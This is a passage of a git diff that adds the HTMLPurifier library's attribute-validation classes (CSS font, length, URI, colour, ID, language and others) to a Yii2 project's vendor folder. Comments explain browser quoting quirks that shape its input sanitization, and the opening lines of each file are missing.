example: "MS 明朝" is a + // legitimate font-name + // . See + // the CSS3 spec for more examples: + // + // You can see live samples of these on the Internet: + // + // However, most of these fonts have ASCII equivalents: + // for example, 'MS Mincho', and it's considered + // professional to use ASCII font names instead of + // Unicode font names. Thanks Takeshi Terada for + // providing this information. + // The following characters, to my knowledge, have not been + // used to name font names. + // - Single quote. While theoretically you might find a + // font name that has a single quote in its name (serving + // as an apostrophe, e.g. Dave's Scribble), I haven't + // been able to find any actual examples of this. + // Internet Explorer's cssText translation (which I + // believe is invoked by innerHTML) normalizes any + // quoting to single quotes, and fails to escape single + // quotes. (Note that this is not IE's behavior for all + // CSS properties, just some sort of special casing for + // font-family). So a single quote *cannot* be used + // safely in the font-family context if there will be an + // innerHTML/cssText translation. Note that Firefox 3.x + // does this too. + // - Double quote. In IE, these get normalized to + // single-quotes, no matter what the encoding. (Fun + // fact, in IE8, the 'content' CSS property gained + // support, where they special cased to preserve encoded + // double quotes, but still translate unadorned double + // quotes into single quotes.) So, because their + // fixpoint behavior is identical to single quotes, they + // cannot be allowed either. Firefox 3.x displays + // single-quote style behavior. + // - Backslashes are reduced by one (so \\ -> \) every + // iteration, so they cannot be used safely. This shows + // up in IE7, IE8 and FF3 + // - Semicolons, commas and backticks are handled properly. + // - The rest of the ASCII punctuation is handled properly. + // We haven't checked what browsers do to unadorned + // versions, but this is not important as long as the + // browser doesn't /remove/ surrounding quotes (as IE does + // for HTML). + // + // With these results in hand, we conclude that there are + // various levels of safety: + // - Paranoid: alphanumeric, spaces and dashes(?) + // - International: Paranoid + non-ASCII Unicode + // - Edgy: Everything except quotes, backslashes + // - NoJS: Standards compliance, e.g. sod IE. Note that + // with some judicious character escaping (since certain + // types of escaping doesn't work) this is theoretically + // OK as long as innerHTML/cssText is not called. + // We believe that international is a reasonable default + // (that we will implement now), and once we do more + // extensive research, we may feel comfortable with dropping + // it down to edgy. + + // Edgy: alphanumeric, spaces, dashes, underscores and Unicode. Use of + // str(c)spn assumes that the string was already well formed + // Unicode (which of course it is). + if (strspn($font, $this->mask) !== strlen($font)) { + continue; + } + + // Historical: + // In the absence of innerHTML/cssText, these ugly + // transforms don't pose a security risk (as \\ and \" + // might--these escapes are not supported by most browsers). + // We could try to be clever and use single-quote wrapping + // when there is a double quote present, but I have choosen + // not to implement that. (NOTE: you can reduce the amount + // of escapes by one depending on what quoting style you use) + // $font = str_replace('\\', '\\5C ', $font); + // $font = str_replace('"', '\\22 ', $font); + // $font = str_replace("'", '\\27 ', $font); + + // font possibly with spaces, requires quoting + $final .= "'$font', "; + } + $final = rtrim($final, ', '); + if ($final === '') { + return false; + } + return $final; + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Ident.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Ident.php new file mode 100644 index 00000000..973002c1 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Ident.php @@ -0,0 +1,32 @@ +def = $def; + $this->allow = $allow; + } + + /** + * Intercepts and removes !important if necessary + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + // test for ! and important tokens + $string = trim($string); + $is_important = false; + // :TODO: optimization: test directly for !important and ! important + if (strlen($string) >= 9 && substr($string, -9) === 'important') { + $temp = rtrim(substr($string, 0, -9)); + // use a temp, because we might want to restore important + if (strlen($temp) >= 1 && substr($temp, -1) === '!') { + $string = rtrim(substr($temp, 0, -1)); + $is_important = true; + } + } + $string = $this->def->validate($string, $config, $context); + if ($this->allow && $is_important) { + $string .= ' !important'; + } + return $string; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Length.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Length.php new file mode 100644 index 00000000..f12453a0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Length.php @@ -0,0 +1,77 @@ +min = $min !== null ? HTMLPurifier_Length::make($min) : null; + $this->max = $max !== null ? HTMLPurifier_Length::make($max) : null; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = $this->parseCDATA($string); + + // Optimizations + if ($string === '') { + return false; + } + if ($string === '0') { + return '0'; + } + if (strlen($string) === 1) { + return false; + } + + $length = HTMLPurifier_Length::make($string); + if (!$length->isValid()) { + return false; + } + + if ($this->min) { + $c = $length->compareTo($this->min); + if ($c === false) { + return false; + } + if ($c < 0) { + return false; + } + } + if ($this->max) { + $c = $length->compareTo($this->max); + if ($c === false) { + return false; + } + if ($c > 0) { + return false; + } + } + return $length->toString(); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ListStyle.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ListStyle.php new file mode 100644 index 00000000..e74d4265 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ListStyle.php @@ -0,0 +1,112 @@ +getCSSDefinition(); + $this->info['list-style-type'] = $def->info['list-style-type']; + $this->info['list-style-position'] = $def->info['list-style-position']; + $this->info['list-style-image'] = $def->info['list-style-image']; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + // regular pre-processing + $string = $this->parseCDATA($string); + if ($string === '') { + return false; + } + + // assumes URI doesn't have spaces in it + $bits = explode(' ', strtolower($string)); // bits to process + + $caught = array(); + $caught['type'] = false; + $caught['position'] = false; + $caught['image'] = false; + + $i = 0; // number of catches + $none = false; + + foreach ($bits as $bit) { + if ($i >= 3) { + return; + } // optimization bit + if ($bit === '') { + continue; + } + foreach ($caught as $key => $status) { + if ($status !== false) { + continue; + } + $r = $this->info['list-style-' . $key]->validate($bit, $config, $context); + if ($r === false) { + continue; + } + if ($r === 'none') { + if ($none) { + continue; + } else { + $none = true; + } + if ($key == 'image') { + continue; + } + } + $caught[$key] = $r; + $i++; + break; + } + } + + if (!$i) { + return false; + } + + $ret = array(); + + // construct type + if ($caught['type']) { + $ret[] = $caught['type']; + } + + // construct image + if ($caught['image']) { + $ret[] = $caught['image']; + } + + // construct position + if ($caught['position']) { + $ret[] = $caught['position']; + } + + if (empty($ret)) { + return false; + } + return implode(' ', $ret); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Multiple.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Multiple.php new file mode 100644 index 00000000..9f266cdd --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Multiple.php @@ -0,0 +1,71 @@ +single = $single; + $this->max = $max; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = $this->parseCDATA($string); + if ($string === '') { + return false; + } + $parts = explode(' ', $string); // parseCDATA replaced \r, \t and \n + $length = count($parts); + $final = ''; + for ($i = 0, $num = 0; $i < $length && $num < $this->max; $i++) { + if (ctype_space($parts[$i])) { + continue; + } + $result = $this->single->validate($parts[$i], $config, $context); + if ($result !== false) { + $final .= $result . ' '; + $num++; + } + } + if ($final === '') { + return false; + } + return rtrim($final); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Number.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Number.php new file mode 100644 index 00000000..8edc159e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Number.php @@ -0,0 +1,84 @@ +non_negative = $non_negative; + } + + /** + * @param string $number + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return string|bool + * @warning Some contexts do not pass $config, $context. These + * variables should not be used without checking HTMLPurifier_Length + */ + public function validate($number, $config, $context) + { + $number = $this->parseCDATA($number); + + if ($number === '') { + return false; + } + if ($number === '0') { + return '0'; + } + + $sign = ''; + switch ($number[0]) { + case '-': + if ($this->non_negative) { + return false; + } + $sign = '-'; + case '+': + $number = substr($number, 1); + } + + if (ctype_digit($number)) { + $number = ltrim($number, '0'); + return $number ? $sign . $number : '0'; + } + + // Period is the only non-numeric character allowed + if (strpos($number, '.') === false) { + return false; + } + + list($left, $right) = explode('.', $number, 2); + + if ($left === '' && $right === '') { + return false; + } + if ($left !== '' && !ctype_digit($left)) { + return false; + } + + $left = ltrim($left, '0'); + $right = rtrim($right, '0'); + + if ($right === '') { + return $left ? $sign . $left : '0'; + } elseif (!ctype_digit($right)) { + return false; + } + return $sign . $left . '.' . $right; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Percentage.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Percentage.php new file mode 100644 index 00000000..f0f25c50 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Percentage.php @@ -0,0 +1,54 @@ +number_def = new HTMLPurifier_AttrDef_CSS_Number($non_negative); + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = $this->parseCDATA($string); + + if ($string === '') { + return false; + } + $length = strlen($string); + if ($length === 1) { + return false; + } + if ($string[$length - 1] !== '%') { + return false; + } + + $number = substr($string, 0, $length - 1); + $number = $this->number_def->validate($number, $config, $context); + + if ($number === false) { + return false; + } + return "$number%"; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php new file mode 100644 index 00000000..5fd4b7f7 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/TextDecoration.php @@ -0,0 +1,46 @@ + true, + 'overline' => true, + 'underline' => true, + ); + + $string = strtolower($this->parseCDATA($string)); + + if ($string === 'none') { + return $string; + } + + $parts = explode(' ', $string); + $final = ''; + foreach ($parts as $part) { + if (isset($allowed_values[$part])) { + $final .= $part . ' '; + } + } + $final = rtrim($final); + if ($final === '') { + return false; + } + return $final; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/URI.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/URI.php new file mode 100644 index 00000000..f9434230 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/URI.php @@ -0,0 +1,74 @@ +parseCDATA($uri_string); + if (strpos($uri_string, 'url(') !== 0) { + return false; + } + $uri_string = substr($uri_string, 4); + $new_length = strlen($uri_string) - 1; + if ($uri_string[$new_length] != ')') { + return false; + } + $uri = trim(substr($uri_string, 0, $new_length)); + + if (!empty($uri) && ($uri[0] == "'" || $uri[0] == '"')) { + $quote = $uri[0]; + $new_length = strlen($uri) - 1; + if ($uri[$new_length] !== $quote) { + return false; + } + $uri = substr($uri, 1, $new_length - 1); + } + + $uri = $this->expandCSSEscape($uri); + + $result = parent::validate($uri, $config, $context); + + if ($result === false) { + return false; + } + + // extra sanity check; should have been done by URI + $result = str_replace(array('"', "\\", "\n", "\x0c", "\r"), "", $result); + + // suspicious characters are ()'; we're going to percent encode + // them for safety. + $result = str_replace(array('(', ')', "'"), array('%28', '%29', '%27'), $result); + + // there's an extra bug where ampersands lose their escaping on + // an innerHTML cycle, so a very unlucky query parameter could + // then change the meaning of the URL. Unfortunately, there's + // not much we can do about that... + return "url(\"$result\")"; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Clone.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Clone.php new file mode 100644 index 00000000..6698a00c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Clone.php @@ -0,0 +1,44 @@ +clone = $clone; + } + + /** + * @param string $v + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($v, $config, $context) + { + return $this->clone->validate($v, $config, $context); + } + + /** + * @param string $string + * @return HTMLPurifier_AttrDef + */ + public function make($string) + { + return clone $this->clone; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Enum.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Enum.php new file mode 100644 index 00000000..8abda7f6 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Enum.php @@ -0,0 +1,73 @@ +valid_values = array_flip($valid_values); + $this->case_sensitive = $case_sensitive; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = trim($string); + if (!$this->case_sensitive) { + // we may want to do full case-insensitive libraries + $string = ctype_lower($string) ? $string : strtolower($string); + } + $result = isset($this->valid_values[$string]); + + return $result ? $string : false; + } + + /** + * @param string $string In form of comma-delimited list of case-insensitive + * valid values. Example: "foo,bar,baz". Prepend "s:" to make + * case sensitive + * @return HTMLPurifier_AttrDef_Enum + */ + public function make($string) + { + if (strlen($string) > 2 && $string[0] == 's' && $string[1] == ':') { + $string = substr($string, 2); + $sensitive = true; + } else { + $sensitive = false; + } + $values = explode(',', $string); + return new HTMLPurifier_AttrDef_Enum($values, $sensitive); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Bool.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Bool.php new file mode 100644 index 00000000..036a240e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Bool.php @@ -0,0 +1,51 @@ +name = $name; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + if (empty($string)) { + return false; + } + return $this->name; + } + + /** + * @param string $string Name of attribute + * @return HTMLPurifier_AttrDef_HTML_Bool + */ + public function make($string) + { + return new HTMLPurifier_AttrDef_HTML_Bool($string); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Class.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Class.php new file mode 100644 index 00000000..d5013488 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Class.php @@ -0,0 +1,48 @@ +getDefinition('HTML')->doctype->name; + if ($name == "XHTML 1.1" || $name == "XHTML 2.0") { + return parent::split($string, $config, $context); + } else { + return preg_split('/\s+/', $string); + } + } + + /** + * @param array $tokens + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + protected function filter($tokens, $config, $context) + { + $allowed = $config->get('Attr.AllowedClasses'); + $forbidden = $config->get('Attr.ForbiddenClasses'); + $ret = array(); + foreach ($tokens as $token) { + if (($allowed === null || isset($allowed[$token])) && + !isset($forbidden[$token]) && + // We need this O(n) check because of PHP's array + // implementation that casts -0 to 0. + !in_array($token, $ret, true) + ) { + $ret[] = $token; + } + } + return $ret; + } +} diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Color.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Color.php new file mode 100644 index 00000000..946ebb78 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Color.php @@ -0,0 +1,51 @@ +get('Core.ColorKeywords'); + } + + $string = trim($string); + + if (empty($string)) { + return false; + } + $lower = strtolower($string); + if (isset($colors[$lower])) { + return $colors[$lower]; + } + if ($string[0] === '#') { + $hex = substr($string, 1); + } else { + $hex = $string; + } + + $length = strlen($hex); + if ($length !== 3 && $length !== 6) { + return false; + } + if (!ctype_xdigit($hex)) { + return false; + } + if ($length === 3) { + $hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2]; + } + return "#$hex"; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php new file mode 100644 index 00000000..d79ba12b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/FrameTarget.php @@ -0,0 +1,38 @@ +valid_values === false) { + $this->valid_values = $config->get('Attr.AllowedFrameTargets'); + } + return parent::validate($string, $config, $context); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/ID.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/ID.php new file mode 100644 index 00000000..3d86efb4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/ID.php @@ -0,0 +1,105 @@ +selector = $selector; + } + + /** + * @param string $id + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($id, $config, $context) + { + if (!$this->selector && !$config->get('Attr.EnableID')) { + return false; + } + + $id = trim($id); // trim it first + + if ($id === '') { + return false; + } + + $prefix = $config->get('Attr.IDPrefix'); + if ($prefix !== '') { + $prefix .= $config->get('Attr.IDPrefixLocal'); + // prevent re-appending the prefix + if (strpos($id, $prefix) !== 0) { + $id = $prefix . $id; + } + } elseif ($config->get('Attr.IDPrefixLocal') !== '') { + trigger_error( + '%Attr.IDPrefixLocal cannot be used unless ' . + '%Attr.IDPrefix is set', + E_USER_WARNING + ); + } + + if (!$this->selector) { + $id_accumulator =& $context->get('IDAccumulator'); + if (isset($id_accumulator->ids[$id])) { + return false; + } + } + + // we purposely avoid using regex, hopefully this is faster + + if (ctype_alpha($id)) { + $result = true; + } else { + if (!ctype_alpha(@$id[0])) { + return false; + } + // primitive style of regexps, I suppose + $trim = trim( + $id, + 'A..Za..z0..9:-._' + ); + $result = ($trim === ''); + } + + $regexp = $config->get('Attr.IDBlacklistRegexp'); + if ($regexp && preg_match($regexp, $id)) { + return false; + } + + if (!$this->selector && $result) { + $id_accumulator->add($id); + } + + // if no change was made to the ID, return the result + // else, return the new id if stripping whitespace made it + // valid, or return false. + return $result ? $id : false; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Length.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Length.php new file mode 100644 index 00000000..1c4006fb --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Length.php @@ -0,0 +1,56 @@ + 100) { + return '100%'; + } + return ((string)$points) . '%'; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php new file mode 100644 index 00000000..63fa04c1 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php @@ -0,0 +1,72 @@ + 'AllowedRel', + 'rev' => 'AllowedRev' + ); + if (!isset($configLookup[$name])) { + trigger_error( + 'Unrecognized attribute name for link ' . + 'relationship.', + E_USER_ERROR + ); + return; + } + $this->name = $configLookup[$name]; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $allowed = $config->get('Attr.' . $this->name); + if (empty($allowed)) { + return false; + } + + $string = $this->parseCDATA($string); + $parts = explode(' ', $string); + + // lookup to prevent duplicates + $ret_lookup = array(); + foreach ($parts as $part) { + $part = strtolower(trim($part)); + if (!isset($allowed[$part])) { + continue; + } + $ret_lookup[$part] = true; + } + + if (empty($ret_lookup)) { + return false; + } + $string = implode(' ', array_keys($ret_lookup)); + return $string; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/MultiLength.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/MultiLength.php new file mode 100644 index 00000000..bbb20f2f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/MultiLength.php @@ -0,0 +1,60 @@ +split($string, $config, $context); + $tokens = $this->filter($tokens, $config, $context); + if (empty($tokens)) { + return false; + } + return implode(' ', $tokens); + } + + /** + * Splits a space separated list of tokens into its constituent parts. + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + protected function split($string, $config, $context) + { + // OPTIMIZABLE! + // do the preg_match, capture all subpatterns for reformulation + + // we don't support U+00A1 and up codepoints or + // escaping because I don't know how to do that with regexps + // and plus it would complicate optimization efforts (you never + // see that anyway). + $pattern = '/(?:(?<=\s)|\A)' . // look behind for space or string start + '((?:--|-?[A-Za-z_])[A-Za-z_\-0-9]*)' . + '(?:(?=\s)|\z)/'; // look ahead for space or string end + preg_match_all($pattern, $string, $matches); + return $matches[1]; + } + + /** + * Template method for removing certain tokens based on arbitrary criteria. + * @note If we wanted to be really functional, we'd do an array_filter + * with a callback. But... we're not. + * @param array $tokens + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + protected function filter($tokens, $config, $context) + { + return $tokens; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Pixels.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Pixels.php new file mode 100644 index 00000000..a1d019e0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Pixels.php @@ -0,0 +1,76 @@ +max = $max; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $string = trim($string); + if ($string === '0') { + return $string; + } + if ($string === '') { + return false; + } + $length = strlen($string); + if (substr($string, $length - 2) == 'px') { + $string = substr($string, 0, $length - 2); + } + if (!is_numeric($string)) { + return false; + } + $int = (int)$string; + + if ($int < 0) { + return '0'; + } + + // upper-bound value, extremely high values can + // crash operating systems, see + // WARNING, above link WILL crash you if you're using Windows + + if ($this->max !== null && $int > $this->max) { + return (string)$this->max; + } + return (string)$int; + } + + /** + * @param string $string + * @return HTMLPurifier_AttrDef + */ + public function make($string) + { + if ($string === '') { + $max = null; + } else { + $max = (int)$string; + } + $class = get_class($this); + return new $class($max); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Integer.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Integer.php new file mode 100644 index 00000000..400e707d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Integer.php @@ -0,0 +1,91 @@ +negative = $negative; + $this->zero = $zero; + $this->positive = $positive; + } + + /** + * @param string $integer + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($integer, $config, $context) + { + $integer = $this->parseCDATA($integer); + if ($integer === '') { + return false; + } + + // we could possibly simply typecast it to integer, but there are + // certain fringe cases that must not return an integer. + + // clip leading sign + if ($this->negative && $integer[0] === '-') { + $digits = substr($integer, 1); + if ($digits === '0') { + $integer = '0'; + } // rm minus sign for zero + } elseif ($this->positive && $integer[0] === '+') { + $digits = $integer = substr($integer, 1); // rm unnecessary plus + } else { + $digits = $integer; + } + + // test if it's numeric + if (!ctype_digit($digits)) { + return false; + } + + // perform scope tests + if (!$this->zero && $integer == 0) { + return false; + } + if (!$this->positive && $integer > 0) { + return false; + } + if (!$this->negative && $integer < 0) { + return false; + } + + return $integer; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Lang.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Lang.php new file mode 100644 index 00000000..2a55cea6 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Lang.php @@ -0,0 +1,86 @@ + 8 || !ctype_alnum($subtags[1])) { + return $new_string; + } + if (!ctype_lower($subtags[1])) { + $subtags[1] = strtolower($subtags[1]); + } + + $new_string .= '-' . $subtags[1]; + if ($num_subtags == 2) { + return $new_string; + } + + // process all other subtags, index 2 and up + for ($i = 2; $i < $num_subtags; $i++) { + $length = strlen($subtags[$i]); + if ($length == 0 || $length > 8 || !ctype_alnum($subtags[$i])) { + return $new_string; + } + if (!ctype_lower($subtags[$i])) { + $subtags[$i] = strtolower($subtags[$i]); + } + $new_string .= '-' . $subtags[$i]; + } + return $new_string; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Switch.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Switch.php new file mode 100644 index 00000000..c7eb3199 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Switch.php @@ -0,0 +1,53 @@ +tag = $tag; + $this->withTag = $with_tag; + $this->withoutTag = $without_tag; + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $token = $context->get('CurrentToken', true); + if (!$token || $token->name !== $this->tag) { + return $this->withoutTag->validate($string, $config, $context); + } else { + return $this->withTag->validate($string, $config, $context); + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Text.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Text.php new file mode 100644 index 00000000..4553a4ea --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Text.php @@ -0,0 +1,21 @@ +parseCDATA($string); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI.php new file mode 100644 index 00000000..c1cd8977 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI.php @@ -0,0 +1,111 @@ +parser = new HTMLPurifier_URIParser(); + $this->embedsResource = (bool)$embeds_resource; + } + + /** + * @param string $string + * @return HTMLPurifier_AttrDef_URI + */ + public function make($string) + { + $embeds = ($string === 'embedded'); + return new HTMLPurifier_AttrDef_URI($embeds); + } + + /** + * @param string $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($uri, $config, $context) + { + if ($config->get('URI.Disable')) { + return false; + } + + $uri = $this->parseCDATA($uri); + + // parse the URI + $uri = $this->parser->parse($uri); + if ($uri === false) { + return false; + } + + // add embedded flag to context for validators + $context->register('EmbeddedURI', $this->embedsResource); + + $ok = false; + do { + + // generic validation + $result = $uri->validate($config, $context); + if (!$result) { + break; + } + + // chained filtering + $uri_def = $config->getDefinition('URI'); + $result = $uri_def->filter($uri, $config, $context); + if (!$result) { + break; + } + + // scheme-specific validation + $scheme_obj = $uri->getSchemeObj($config, $context); + if (!$scheme_obj) { + break; + } + if ($this->embedsResource && !$scheme_obj->browsable) { + break; + } + $result = $scheme_obj->validate($uri, $config, $context); + if (!$result) { + break; + } + + // Post chained filtering + $result = $uri_def->postFilter($uri, $config, $context); + if (!$result) { + break; + } + + // survived gauntlet + $ok = true; + + } while 